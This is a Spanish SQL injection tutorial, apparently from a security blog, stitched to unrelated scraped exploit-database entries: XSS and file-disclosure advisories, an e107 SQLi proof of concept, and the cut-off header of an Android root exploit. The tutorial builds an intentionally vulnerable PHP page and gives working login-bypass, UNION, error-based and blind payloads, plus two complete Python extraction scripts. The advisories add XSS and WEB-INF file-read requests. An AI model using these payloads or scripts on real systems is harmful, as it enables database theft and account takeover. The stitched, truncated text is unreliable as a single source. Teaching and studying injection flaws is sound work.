Si nos fijamos, incluso da igual que pongamos más columnas de las que hay verdaderamente en la tabla. Ahora mismo quizas esta funcionalidad tiene poco sentido para ti, pero podremos ver un uso útil de cara al SQL Injection.
Otra instrucción útil y que veremos mejor su uso más adelante es LIMIT:
SELECT <columnas> FROM <tabla> [podríamos colocar el WHERE aquí en medio] LIMIT <número>, <cantidad> Esta instrucción básicamente te permite limitar los resultados de una query. Por ejemplo, volviendo y trayendo de nuevo esta tabla:
Sabiendo que esta sentencia devuelve todo el contenido de la tabla, en este caso, 3 filas. Podemos limitar los resultados con LIMIT. Ejemplo 1:
Aquí le estamos diciendo: «Del resultado, vete a la posición 1 (el cual es la segunda fila de lo que devuelve porque cuenta desde 0) y limita desde esta posición a dos resultados«.
Por eso mismo, el resultado que obtenemos es a partir de la segunda fila, y como hemos limitado los resultados a 2, pues nos muestra, la fila 2 y 3. Otro ejemplo:
Aquí le decimos: «Oye, empieza desde la posición 0 (primera fila de lo que devuelve) y muéstrame desde esa posición una cantidad de 2 resultados«. Por eso mismo, nos muestra la fila 1 y 2, pero no la 3.
Espero que se haya entendido esta última explicación 🥺. En cualquier caso, volveremos a verlo más adelante.
Por último, SQL también admite comentarios, estos se pueden declarar de dos formas distintas:
# -- (dos guiones seguidos de un espacio, se suele poner siempre -- - para que el espacio se haga notar) Con esto, cualquier cosa que coloquemos después de alguno de estos símbolos, se ignorará, ya que se interpretará como un comentario. Ejemplo:
A pesar de poner cosas sin sentidos y no válidas, al estar colocadas después de los símbolos de comentarios pues no pasa nada. Esto nos será útil de cara al SQL Injection.
Habiendo visto toda esta introducción a SQL. Vamos a ver su implementación en Aplicaciones Web.
SQL en Aplicaciones Web
Ya conocemos los fundamentos de SQL, ahora bien, vamos a ver como se conecta una base de datos a una aplicación web. El código que vamos a usar en este post es el siguiente:
<?php // Datos $dbhostname = 'localhost'; $dbuser = 'root'; $dbpassword = 'sikumy123$!'; $dbname = 'webserver'; //Crear conexion $connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname); //Comprobar si la conexion se ha hecho correctamente if (!$connection) { echo mysqli_error($connection); die(); } // Parametro de id del Libro $input= $_GET['id']; // Query a MySQL $query = "SELECT title, author, year_publication FROM books WHERE id=$input"; // Realizar query $results = mysqli_query($connection, $query); // Comprobar si la query se ha hecho correctamente if (!$results) { echo mysqli_error($connection); die(); } echo "<h1>API de tu librería de confianza</h1>"; // Obtener y mostrar resultados de la query. Los resultados se almacenan en un array por el cual iteramos while ($rows = mysqli_fetch_assoc($results)) { echo '<b>Título: </b>' . $rows['title']; echo "<br />"; echo '<b>Autor: </b>' . $rows['author']; echo "<br />"; echo '<b>Año de Publicación: </b>' . $rows['year_publication']; echo "<br />"; } ?> Vamos a descomponer esto por partes para explicarlo.
Lo primero de todo es establecer la configuración, dicho de otra forma, los datos necesarios para que la aplicación web pueda conectarse a la base de datos con éxito. En este caso, se define al principio del archivo:
Después de esta definición, debemos de conectarnos a la base de datos usando estos datos:
Si la conexión es exitosa, el código PHP seguirá con el resto del código, si no, parará.
Una vez se ha establecido la conexión con el gestor de base de datos y la base de datos, es hora de declarar la query que se hará:
En este caso, habrá un valor dinámico que estableceremos a través de una petición GET en el servidor web. Este valor filtrará la query por el campo id.
Hasta aquí ya hemos establecido lo principal para conectar una aplicación web con una base de datos:
Hemos definido los datos necesarios para la conexión Hemos realizado la conexión con éxito Hemos realizado la query Ya por último simplemente toca mostrar los resultados de la query, en este caso lo haremos de la siguiente forma:
Realizamos un bucle el cual iterará por la variable $results. Esta variable es un array que contiene los distintos resultados devueltos por la query hecha anteriormente.
Por lo que dentro del bucle, simplemente mostramos los resultados, filtrando por columna para mostrar cada resultado en su lugar correspondiente.
El resultado visual de todo este código es el siguiente:
Esta manera que hemos visto es una posible forma de conectar una aplicación web a una base de datos. Sin embargo, no es la única (y seguramente quizás tampoco la mejor, perdonadme developers 😢).
Concepto de SQL Injection
Ya hemos visto los fundamentos suficientes como para poder llegar a entender el SQL Injection. Ahora vamos a ver la idea base de todos los ataques de este tipo.
Siguiendo el laboratorio que nos hemos ido montando a lo largo de este post, hemos llegado a lo siguiente:
En este caso, sabemos que la sentencia SQL que se ejecuta por detrás en el parámetro id es la siguiente:
SELECT title, author, year_publication FROM books WHERE id=<valor que controlamos> En la imagen de arriba, la sentencia ejecutada por detrás sería:
SELECT title, author, year_publication FROM books WHERE id=1 En este caso, no se está haciendo ningún tipo de sanitización, por lo que, que ocurre si además del 1 o el número que sea, colocamos una sentencia SQL.
Es decir, por ejemplo, la siguiente sentencia:
SELECT title, author, year_publication FROM books WHERE id=1 and 2=1– – Aquí le estamos añadiendo una condición. De por sí, originalmente si se coloca un identificador que existe, como puede ser el 1, pues nos devolverá los resultados relacionados a este id (como vemos en la imagen). Sin embargo, ahora le estamos añadiendo que además de esto, se tiene que cumplir la condición 2=1, cosa que siempre dará como resultado FALSE.
Como estas dos condiciones (la de que el id exista, y la del 2=1) están unidas por un operador AND, para que la query devuelva un resultado, ambas condiciones deben ser verdad. La segunda ya sabemos que siempre dará FALSE, por lo que el servidor no debe de devolver ningún resultado si lanzamos esa query.
No nos devuelve nada, por lo que está ocurriendo exactamente lo que estamos diciendo arriba. De la misma forma, si cambiamos la query a:
SELECT title, author, year_publication FROM books WHERE id=1 and 1=1– – Ahora si estamos colocando una condición TRUE. Estamos haciendo que el resultado de ambas condiciones también lo sea, por lo que:
En este caso, ahora el servidor si que devuelve resultados. En un ejemplo real, esto nos podría servir para analizar la existencia del SQL Injection analizando las respuestas del servidor basándonos en las condiciones que proporcionamos.
La forma más típica de detectar un SQL Injection es poniendo una comilla y comprobar si el servidor devuelve algún tipo de error en la respuesta:
Sin embargo, puede darse el caso donde el servidor no devuelva errores, por lo que la opción de analizar la respuesta del servidor en base a condicionales es una buena opción.
Pues, por ejemplo, imaginémonos la siguiente sentencia:
SELECT * FROM logins WHERE username=»<INPUT>» AND password=»<INPUT>» Esta sentencia pertenece a un login, con esto, que ocurre si nosotros introducimos X datos en el campo de username y en password de tal manera que los valores sean los siguientes:
La sentencia que ejecutará el servidor para validar si los datos son ciertos será:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1» AND password=»ni_idea_de_cual_es« Aquí, al igual que en el ejemplo anterior, estamos introduciendo una condición. Sin embargo, vamos a analizar su comportamiento teniendo en cuenta lo mencionado arriba sobre el AND y el OR y dando por hecho de que el usuario admin SI existe:
Este básicamente sería el comportamiento de una sentencia cuando se mezclan operadores como el AND y el OR. En este caso, por ejemplo, conseguiríamos iniciar sesión como el usuario admin sin saber su contraseña, ya que, el valor resultante de todas las condiciones es TRUE y el usuario admin existe.
Ahora bien, ¿qué ocurre si la condición en vez de inyectarla en el campo username, lo hacemos en el campo password?
El comportamiento sería el siguiente:
En este caso, sea cual sea el usuario o la contraseña, aunque ambos sean incorrectos, la sentencia devolverá TRUE. ¿Cómo se comportaría la aplicación ante esto?, ya que, es TRUE, pero la query devolverá todos los resultados de la tabla, ¿con quien se iniciaría la sesión?.
Pues normalmente, la lógica que seguiría la aplicación ante este caso sería iniciar sesión con el usuario del primer resultado, dicho de otra forma, con el usuario de la primera fila de toda la tabla. El cual en muchas ocasiones suele ser el administrador.
De estas dos formas que hemos visto, conseguiríamos aprovecharnos del SQL Injection para, en ambas, llegar a iniciar sesión sin conocer credenciales al estar aprovechándonos de la lógica de las condiciones y su manipulación.
Por último, anteriormente mencionamos que el uso de un comentario, hará que todo lo que haya después de este se trate como tal. Por lo que, supongamos que tenemos la siguiente sentencia que hemos visto arriba:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1» AND password=»ni_idea_de_cual_es« Si añadimos lo siguiente:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1«#» AND password=»ni_idea_de_cual_es« Hará que toda esta parte se ignore:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1″#» AND password=»ni_idea_de_cual_es» Y, por lo tanto, la sentencia que se ejecutará, será:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1″# Esta sería una demostración de porque siempre deberíamos de colocar instrucciones de comentarios en nuestras inyecciones.
http://images3.memedroid.com/images/UPLOADED169/5e8fb599588e9.jpeg STOPPPP. Antes de seguir, vamos a hacer una minirecopilación de lo que llevamos:
Hemos visto la introducción a SQL y como está relacionado con los gestores de bases de datos y los tipos de bases de datos que hay. A su vez, hemos visto la estructura de las bases de datos relacionales. Para que así podamos entender como está montado todo y en que forma se almacena la información. Para familiarizarnos un poco con SQL, hemos visto algunas instrucciones y sentencias del lenguaje. Posterior a todo esto, hemos visto un ejemplo de conexión entre aplicación web y base de datos. Con toda esta base, nos hemos introducido en el SQL Injection viendo algunos conceptos básicos y situaciones. Habiendo visto todo esto, ya es hora de introducirnos a ejemplos un poco más avanzados y los tipos de SQL Injection que hay. El siguiente diagrama resume los tipos de técnicas y SQLi que existen:
Vamos a ir viéndolos todos uno por uno.
In-band SQL Injection
Este tipo de SQLi es el más básico y sencillo de todos. Ya que, cuando nos referimos a «In-band» quiere decir que somos capaces de ver la respuesta de la base de datos en la respuesta del servidor. Dentro de este tipo, encontramos dos subtipos, las inyecciones basadas en Error y en Union.
Union-based
Dentro de SQL tenemos la instrucción UNION. Esta instrucción permite unir los resultados de distintas instrucciones SELECT. Un ejemplo de sentencia con esta instrucción sería la siguiente:
SELECT columna1, columna2 FROM tabla1 UNION SELECT columna1,columna2 FROM tabla2; A nivel visual, esta instrucción uniría los resultados de la siguiente forma:
Aquí hay algunos detalles a tener en cuenta con esta instrucción:
Cuando realizamos una unión entre dos SELECT, ambos deben de tener el mismo número de columnas (no en la tabla como tal, sino columnas seleccionadas en la query). Al mismo tiempo, cada columna debe coincidir en el tipo de dato, es decir, en el caso de arriba, el tipo de dato de la columna 1 de la tabla 1, debe ser el mismo que el de la columna 1 de la tabla 2. Para que al momento de apilarlas como vemos arriba, no haya errores.Ojo, de las columnas seleccionadas, no de las columnas originales, ¿a qué me refiero con esto?. Si la query hubiera sido por ejemplo: SELECT columna1, columna2 FROM tabla1 UNION SELECT columna3,columna4 FROM tabla2; El tipo de dato de la columna1 debe de ser el mismo que el de la columna3. De la misma forma, el de la columna2 debe ser el mismo que el de la columna4 y etc etc… . De por sí, la instrucción UNION elimina los duplicados, por lo que si no queremos que ocurra esto simplemente en vez de usar UNION, usamos UNION ALL. Conociendo ya esta instrucción vamos a ver como podemos aprovecharnos de ella para obtener información de la base de datos.
Teniendo en cuenta los requisitos para poder usar la instrucción UNION, nuestra primera tarea es comprobar cuantas columnas tiene la sentencia que se está ejecutando por detrás. Esto se puede comprobar de dos formas, con la propia instrucción UNION o usando ORDER BY. Vamos a hacerlo de ambas:
ORDER BY La instrucción ORDER BY sirve para ordenar el resultado de una sentencia por la columna que queramos. Se especifica la columna mediante el número que le corresponda, la columna más a la izquierda es la 1, la siguiente la 2, y así… .
Por lo que, la idea es colocar en el campo id lo siguiente:
1 ORDER BY <número por el que iremos iterando># Vemos que mientras la columna por la que le estamos diciendo que ordene, exista, el servidor no dará ningún problema en la respuesta. Sin embargo, cuando lleguemos al punto de que la columna por la que decimos que ordene, no exista, ocurrirá lo siguiente:
De esta forma, confirmamos que la sentencia SQL que se ejecuta por detrás tiene 3 columnas. Sabiendo esto, ya procederíamos a usar UNION (más adelante veremos que hacer llegados a este punto).
UNION Ahora, vamos a hacer lo mismo pero usando la propia instrucción UNION. La idea es la siguiente:
UNION SELECT <ir iterando hasta llegar al número correcto># En este caso, para enumerar el número de columnas nos vamos a aprovechar del propio requisito de la instrucción UNION:
Teniendo en cuenta esto, si yo hago por ejemplo lo siguiente:
Nos saltará el error correspondiente a lo que hemos explicado.
Sabiendo esto, ya es cuestión de ir colocando columnas en nuestro SELECT hasta que el número de columnas de ambos SELECT coincidan:
Ojo, aquí vemos como ahora si coinciden las columnas por la respuesta por parte del servidor. Además, vemos como presuntamente se nos muestra lo que hemos colocado en nuestro SELECT. Podemos confirmar esto haciendo esto:
Y de esta forma es como enumeraríamos el número de columnas de la sentencia SQL.
Ahora, volviendo al tema principal, ¿cómo podemos aprovecharnos de la instrucción UNION para obtener toda la información que queramos de la base de datos?
Pues es sencillo. Yo, por ejemplo, dentro de la misma base de datos donde está la información de los libros, he creado una tabla llamada users, la cual contiene usuarios y contraseñas:
Sabiendo esto, podemos hacer una query como la siguiente:
1 UNION SELECT user, password, null FROM users# De esta forma, conseguimos dumpearnos todos los datos.
Ahora bien, aquí puedes decir: «Si claro, pero esto lo puedes hacer porque sabes previamente que hay una tabla llamada users con esas columnas y demás».
Y es cierto. ¿Cómo procederíamos ante un caso donde no sabemos absolutamente nada de la base de datos?
Pues esto va a depender del gestor de base de datos que se esté usando. La cuestión es que todos los gestores tienen ciertas bases de datos por defecto que almacenan información del resto de bases de datos.
Para que se vea esto de forma más clara, vamos a ver como se llevaría a cabo en MariaDB (sería de la misma forma en MySQL, ya que son gestores casi iguales).
Vamos a partir de que ya conocemos el número de columnas y podemos usar la instrucción UNION sin problemas. Con esto hecho, lo primero que vamos a enumerar son las bases de datos. Para ello, vamos a usar la siguiente sentencia en el parámetro id:
1 UNION SELECT null, schema_name, null FROM information_schema.schemata# Como vemos, se nos lista todas las bases de datos del gestor. Esto es porque la columna schema_name en la tabla schemata de la base de datos information_schema almacena esta información
En el caso de que tuvieramos la limitación de que solo se nos muestra un resultado, pues se hace lo que ya se ha dicho, ir iterando usando LIMIT:
Ya conocemos las bases de datos existentes. Digamos que yo al verlo, descarto de por sí:
information_schema perfomance_schema mysql Ya que son bases de datos por defecto del gestor.
Por lo que ponemos el punto de mira en la base de datos con nombre «webserver». Con esta información, procedemos con la siguiente sentencia:
1 UNION SELECT null, table_name, table_schema FROM information_schema.tables WHERE table_schema=»webserver»# Como vemos, se nos lista todas las tablas pertenecientes a la base de datos webserver (de la misma forma, nos lista a que base de datos pertenece las tablas). En este caso, nosotros viendo esto, la tabla que más nos llama la atención es users, por lo que, ahora, debemos de enumerar las columnas de esta tabla:
1 UNION SELECT column_name, table_name, table_schema FROM information_schema.columns WHERE table_name=»users» and table_schema=»webserver»# De esta forma, acabamos de enumerar:
Todas las bases de datos Las tablas de la base de datos webserver Las columnas de la tabla users de la base de datos webserver Teniendo ya esta información, podemos hacer lo mismo que hicimos al principio:
Un tip a mencionar aquí es que quizas, se puede dar el caso donde se nos muestre en la respuesta del servidor solo el resultado de una columna. Y quizás para obtener información como usuario:contraseña puede ser un poco coñazo. Por lo que en este tipo de situaciones podemos hacer uso de la función CONCAT():
Esta función nos permite concatenar diversas palabras y caracteres, incluidas columnas. De esta forma estamos obteniendo dos columnas en el campo de una.
Este procedimiento sería el que habría que hacer en gestores como MariaDB o MySQL. Para ver como sería en otros gestores lo mejores es buscar cheatsheets de cada uno:
MS-SQL – pentestmonkey cheatsheet Oracle – pentestmonkey cheatsheet Error-based
Habiendo acabado con el Union-based es hora de ver el Error-based. Este tipo de SQL Injection consiste en ocasionar a propósito un error en el servidor, de tal forma, que en esta respuesta, consigamos resultados de la base de datos.
Pongámonos en el ejemplo de que el servidor no devuelve los resultados de las peticiones a la base de datos, esto podría tratarse de un SQL Blind como veremos más adelante, pero por comodidad nuestra, lo mejor sería poder ver los resultados en esta respuesta del servidor. Por lo que, lo que podemos probar es ocasionar un error en el servidor para que si se da el caso, el servidor si muestre en su respuesta este error, y dentro de este error, el resultado de una sentencia SQL que nosotros le digamos.
Quedará más claro ahora cuando lo veamos.
Lo que hay que dejar claro, es que existen multitud de formas para generar errores, por lo que la que veremos es solo una forma de las muchas que hay. Además, cambiará dependiendo del gestor que se esté usando.
En MySQL/MariaDB podemos usar la siguiente sentencia:
AND ExtractValue(»,Concat(‘=’,(<SENTENCIA SQL>))) En este caso, a través de un error, estamos consiguiendo mostrar el primer nombre de usuario de la tabla users.
Aquí vamos a aprovechar para introducir otro concepto, y son las funciones. Que, ya hemos visto algunas como puede ser CONCAT(). Pero existen otras funciones las cuales nos pueden devolver información del gestor SQL, el usuario que ejecuta el gestor, etc. Por ejemplo:
@@version –> En MySQL y MariaDB, nos devuelve la versión del gestor de base de datos. Otra función puede ser user():
Este tipo de funciones también las podemos usar en las demás inyecciones SQL, ya que son propias del gestor de bases de datos.
En cualquier caso, todas estas funciones o formas de ocasionar errores en el servidor, como hemos dicho, la forma en la que se haga o sea, dependerá mucho del gestor de base de datos, por lo que lo mejor es mirar una cheatsheet del gestor con el que estemos lidiando (aunque si es cierto que muchas funciones si son iguales y coinciden en varios gestores).
Blind SQL Injection
Ya hemos visto los casos de inyecciones SQL donde somos capaces de ver los resultados en la respuesta web del servidor. Ahora bien, habrá ocasiones donde el servidor no devuelva absolutamente nada, y, aun así, sí que sea vulnerable a SQL Injection, estos son los denominados Blind (también conocidos como Inferential).
Ante esta situación, se puede proceder de dos formas distintas, dicho de otra forma, hay dos tipos de SQL Blind:
Boolean-Based Time-Based Vamos a ver los dos, pero, antes que nada, vamos a hacer el siguiente cambio en el código de nuestra web:
Vamos a comentarlo todo para que la web no muestre ninguna respuesta, además, añadiremos una frase que nos indique cuando la petición es correcta y cuando no:
Boolean-Based
Esta técnica es la misma que hemos visto al principio del post, por el cual, dependiendo de la respuesta del servidor, podíamos detectar si habia un SQL Injection o no:
Sin embargo, antes no hemos visto de lo que es capaz esta técnica. Parecerá una tontería, pero el hecho de que la respuesta del servidor cambie dependiendo de una condición booleana (True or False) puede determinar que podamos conseguir toda la información que queramos de la base de datos.
Esto es porque podemos hacer uso, de la siguiente función:
SUBSTR(<SENTENCIA SQL o FUNCION>, <Offset>, <cantidad (lo dejamos en 1)>) Básicamente, con esta función podemos ejecutar ya sea una sentencia SQL o una función y limitar el resultado a 1 carácter, teniendo la posibilidad de elegir la posición del carácter proveniente del resultado (offset).
Sabiendo esto, suponiendo que por ejemplo, queremos obtener el nombre de la base de datos que se está usando, podemos crear una condición como la siguiente:
1 AND SUBSTR(database(), 1, 1)=’a’# Nosotros ya sabemos que la base de datos es webserver, por lo que vamos a ver el comportamiento del servidor ante esta condición:
Como la base de datos es webserver, el resultado de la función SUBSTR(database(), 1, 1) será w.
De forma iterada, el resultado de la función SUBSTR(database(), 2, 1) será e.
SUBSTR(database(), 3, 1) será b. SUBSTR(database(), 4, 1) será s. etc etc. Entendiendo ya como funciona, por ejemplo, vamos a cambiar la ‘a‘ por la ‘w‘ (que ya sabemos que es la primera letra del nombre de la base de datos) para ver la respuesta del servidor:
Con esto, nos damos cuenta que cuando las letras son iguales, el servidor devolverá en la respuesta: «La petición se ha realizado con éxito«. Por lo que, con estos datos, podemos hacernos un script que vaya iterando por todo el abecedario y que vaya obteniendo las respuestas del servidor y analizándolas, comprobando que:
En el caso de que el servidor devuelva «La petición se ha realizado con éxito«. Significará que la letra por la cual hayamos iterado es la correcta. Si no devuelve esa frase, pues, siguiente letra. En este caso he montado el siguiente script en python3:
#!/usr/bin/python3 import requests import sys mayusc = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' minusc = mayusc.lower() numbers = '1234567890' simbols = '|@#~!"·$%&/()=:.-_,; <>[]{}?\r\n' dictionary = minusc + mayusc + numbers + simbols def booleanSQL(): global info info = '' for i in range(1,100): stop = False for j in dictionary: response = requests.get("http://localhost/books.php?id=1 AND SUBSTR(database(), %d, 1)='%s'#" % (i, j)) if 'La peticion se ha realizado' in response.text: print("La letra numero %d es %s" % (i, j)) info += j stop = False break stop = True if stop: break if __name__ == '__main__': booleanSQL() print("\nLa base de datos se llama %s" % info) Ejecutando este script, ocurre la magia:
Conseguimos enumerar información en base a como cambia la respuesta del servidor dependiendo de la condición booleana.
Ya podemos enumerar cualquier cosa, solo tendríamos que cambiar la query de la petición:
Otro ejemplo:
Y así, con las técnicas que hemos visto a lo largo de todo el post, ya podríamos enumerar todo.
Time-Based
Las inyecciones SQL Blind basadas en tiempo, en concepto son iguales que las basadas en booleanos. Solo que en este caso, el servidor no devuelve ningún cambio en la respuesta sin importar la condición.
Vamos a comentar la siguiente parte del código para que sea así:
De esta forma, no hay manera de diferenciar:
¿Qué hacemos entonces?
Pues, hay una instrucción la cual es sleep() (es así en el caso de MySQL/MariaDB, puede variar dependiendo del gestor, asi que como siempre, lo mejor es mirarse una cheatsheet). Esta instrucción como te puedes imaginar hará una pausa de tiempo de los segundos que indiques, por ejemplo, sleep(5) hará una pausa de 5 segundos.
Pues, con esta instrucción, la idea es muy similar al Boolean-Based, nos podemos construir una sentencia como la siguiente:
1 AND IF((SUBSTR(database(), 1, 1)=’a’), sleep(5), 1)# En este caso estamos haciendo uso de IF, la cual tiene la siguiente estructura:
IF(<condicion>, <si es verdad se ejecuta esto>, <si no es verdad se ejecuta esto>) Como tal, la sentencia que tenemos colocada en la condición del IF, es exactamente la misma que la del Boolean-Based. Sabemos que esta sentencia dará TRUE si la letra coincide y FALSE si no.
Por lo que, si es TRUE (coincide la letra), se ejecutará la instrucción sleep(5), que hará que el servidor tarde 5 segundos en responder, de lo contrario, no hará nada.
Con todo esto, es realmente sencillo, si el servidor tarda 5 segundos en responder significa que la letra que hayamos puesto coincide. Ejemplo:
La web se quedará cargando 5 segundos, ya que la primera letra del nombre de la base de datos es una w.
Por lo que, nos podemos hacer un script que determine que letras son las correctas en base a cuanto tiempo tarda el servidor en responder:
#!/usr/bin/python3 import requests import sys import time mayusc = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' minusc = mayusc.lower() numbers = '1234567890' simbols = '|@#~!"·$%&/()=:.-_,; <>[]{}?\r\n' dictionary = minusc + mayusc + numbers + simbols def check(offset, letter): time_start = time.time() response = requests.get("http://localhost/books.php?id=1 AND IF((SUBSTR(database(), %d, 1)='%s'), sleep(5), 1)#" % (offset, letter)) time_end = time.time() if time_end - time_start > 5: return 1 def timeSQL(): global info info = '' for i in range(1,100): stop = False for j in dictionary: if check(i, j): print("La letra numero %d es %s" % (i, j)) info += j stop = False break stop = True if stop: break if __name__ == '__main__': timeSQL() print("\nEl nombre de la base de datos es %s" % info) Ejecutando el script pues mirad que bonito:
Nos va extrayendo el nombre poco a poco, todo en base al tiempo que tarda el servidor en responder:
Mirad como coincide, webserver tiene 9 letras, y le hemos indicado un sleep de 5 segundos, pues 9×5 = 45 que es justamente el tiempo que ha tardado el script (podría demorarse algún que otro segundo más dependiendo del caso, pero no mucho).
Y ya, pues igual que lo que hemos hecho con el Boolean-Based, iríamos cambiando la sentencia SQL para obtener la información que queramos:
Y esto básicamente sería un SQL Blind basado en tiempo.
Out-of-Band
Por último y no menos importantes, SQL Injection Out-of-Band. Este SQL Injection en esencia es el mismo que el Blind, ya que el servidor no devuelve en la respuesta ninguna información del resultado de la sentencia SQL. Sin embargo, cuando nos referimos a Out-of-Band, queremos decir que quizás tenemos la posibilidad de exfiltrar la información a un servidor remoto.
No es distinto en cuanto a las sentencias SQL y técnicas que hemos visto a lo largo de este post. La única diferencia es la ya mencionada, que quizás somos capaces de exfiltrar/enviar las respuestas a un servidor controlado por nosotros y, de esta forma, poder obtener y leer los resultados de las consultas hechas.
Esta técnica es más avanzada y se le puede dedicar un post completo, por lo que la veremos en otro momento. Sin embargo, es suficiente con que te quedes con que existe y su finalidad.
Conclusión
Hemos visto muchos conceptos y detalles en este post. Para acabar simplemente me gustaría dar algunos detalles:
Todas las sentencias SQL deben de acabar con ;, en las imágenes que ejecutábamos las sentencias en la terminal podrás ver como siempre se ponía. Con esto digo, que también puede ser buena práctica acabar nuestras inyecciones con ; además del ya dicho, instrucción de comentario –> ;# Típicamente, en el SQL Injection se suelen usar comillas simples, pero este no siempre será el caso, al final dependerá de que comillas esté usando el servidor por detrás. Por lo que tenemos que ir alternando en caso de que una no funcione para ver si la otra si lo hace.Es decir, si por ejemplo en una sentencia, el campo en el que nosotros introducimos en el código está rodeado por:«<valor que nosotros controlamos>» Pues, aunque la comilla simple si generará un fallo y quizás podamos ver un error de SQL, a la hora de hacer por ejemplo esto:«» OR 1=1#« Sí que tendremos que usar una comilla doble. Los SQLi no se limitan a peticiones del tipo GET, realmente puede ocurrir en cualquier campo en el que introducimos datos, ya sea POST o GET. Todo esto que acabo de mencionar simplemente son detalles que está bien que conozcas de cara a poder pensar formas de hacer inyecciones SQL.
Referencias
SQL Commands: DML, DDL, DCL, TCL, DQL with Query Example MySQL cheatsheet Fundamentos de las bases de datos NoSQL SQL Injection Exploitation: Error-based MySQL SQL Injection Practical Cheat Sheet HackTheBox Academy – SQL Injection Web Application Penetration Testing – INE

HireHackking
source: https://www.securityfocus.com/bid/47727/info PHP Directory Listing is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. PHP Directory Listing script 3.1 is vulnerable; prior versions may also be affected. http://www.example.com/index.php/[xss]
HireHackking
source: https://www.securityfocus.com/bid/47731/info BMC Dashboards is prone to to multiple information-disclosure and cross-site scripting issues because the application fails to properly sanitize user-supplied input. A remote attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Exploiting the information-disclosure issues allows the attacker to view local files within the context of the webserver process. a) https://www.example.com/bmc_help2u/help_services/html/xx/<script>alert(1)</script>404.htm b) https://www.example.com/bmc_help2u/servlet/helpServlet2u?textareaWrap=/bmc_help2u/help_services/demos/frameTst/my0a.jsp&msg="><script>alert(1)</script> c) multiple XSS within demo pages https:/www.example.com/help_services/demos/helpTest.jsp?help='><script>alert(1)</script> https://www.example.com/bmc_help2u/help_services/demos/setChromeDef.jsp?bFlag=<script>alert(1)</script>&submitVals=Call+setChromeDefBoolean d) Multiple XSS as the AMF stream is unfiltered POST /bsmdashboards/messagebroker/amfsecure HTTP/1.1 Content-Type: application/x-amf Host: target-domain.foo Content-Length: 462 ........null../58..... .. .COflex.messaging.messages.RemotingMessage.timestamp.headers.operation bodysource.remotePassword.remoteUsername.parameters.messageId.timeToLive.clientId.destination......... #. DSId.DSEndpoint.IFDCEEFC2-F318-1B37-7F3A-B438E60525E0..bsd-secure-amf...getUndefinedDataSources<script>alert(1)</script> .. .qcom.bmc.bsm.dashboards.services.facade.RequestParameters. #. name.version..208Archive..1.0... .Cflex.messaging.io.ArrayCollection .. ..I3DDF906B-55F2-5E38-38C1-6A08D1AC077B..........IFDDDB883-6F0C-D935-5E7B-25CDF25C3538.-dashboardArchiveFacade results:- HTTP/1.1 200 OK Date: Sat, 02 Oct 2010 00:15:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: application/x-amf Content-Length: 4651 ......../58/onStatus....... .SIflex.messaging.messages.ErrorMessage.headers.rootCause body.correlationId.faultDetail.faultString.clientId.timeToLive.destination.timestamp.extendedData.faultCode.messageId .. ..acom.bmc.bsm.dashboards.util.logging.BSDException.message guid!localizedMessage.cause.arguments.priority.traceback.errorCode.causeSummary.System error. Contact your system administrator for assistance. .Kcom.bmc.bsm.dashboards.util.guid.Guid!uniqueIdentifier.AdZZZZZZZZJIiCvq53w9q0gerq4j8y0oq.0 .s?flex.messaging.MessageException.errorMessage."$)logStackTraceEnablednumber codelogged.statusCode..-defaultLogMessageIntro.details#preferredLogLevel+rootCauseErrorMessage . ......)Method 'getUndefinedDataSources<script>alert(1)</script>' not found...1Cannot invoke method 'getUndefinedDataSourcesfdd4d Consequences: An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to Remedy Knowledge Management based site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties. No authentication is required to exploit this vulnerability. 2) Application is vulnerable to file source code reading limited to the web-root. https://www.example.com/bmc_help2u/servlet/helpServlet2u?textareaWrap=/bmc_help2u/WEB-INF/web.xml
HireHackking

e107 0.7.25 - 'news.php' SQL Injection

source: https://www.securityfocus.com/bid/47750/info e107 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. e107 0.7.25 is vulnerable; other versions may also be affected. http://www.example.com/[path]/news.php?extend.9999999%0aAND%0aSUBSTRING(@@version,1,1)=5
HireHackking

Nexus 5 Android 5.0 - Local Privilege Escalation

/* * CVE-2014-4322 exploit for Nexus Android 5.0 * * author: retme retme7@gmail.com * website: retme.net * * The exploit must be excuted as system privilege and specific SELinux context. * If exploit successed,you will gain root privilege and "kernel" SELinux context * * bug info: * https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322 * * how to build: * create an Android.mk as follow: include $(CLEAR_VARS) include $(CLEAR_VARS) LOCAL_SRC_FILES:= ./msm.c \ ./shellcode.S LOCAL_MODULE:= exploit #LOCAL_C_INCLUDES += $(common_includes) LOCAL_CPPFLAGS += -DDEBUG LOCAL_CFLAGS += -DDEBUG LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog include $(BUILD_EXECUTABLE) include $(BUILD_EXECUTABLE) create Application.mk as follow: APP_ABI := armeabi APP_PLATFORM := android-8 APP_PIE:= true use ndk-build to build the project usage: run exploit as system privilege,with SELinux context such as "keystore","vold","drmserver","mediaserver","surfaceflinger" * * If exploit successed,you will gain root privilege and "kernel" SELinux context * * * */ //=========================================msm.c============================================= #include <string.h> #include <jni.h> #include <android/log.h> #include <pthread.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <asm/ptrace.h> #include <asm/user.h> #include <asm/ptrace.h> #include <sys/wait.h> #include <sys/mman.h> #include <sys/types.h> #include <dlfcn.h> #include <dirent.h> #include <unistd.h> #include <linux/elf.h> #include <linux/reboot.h> #include <errno.h> 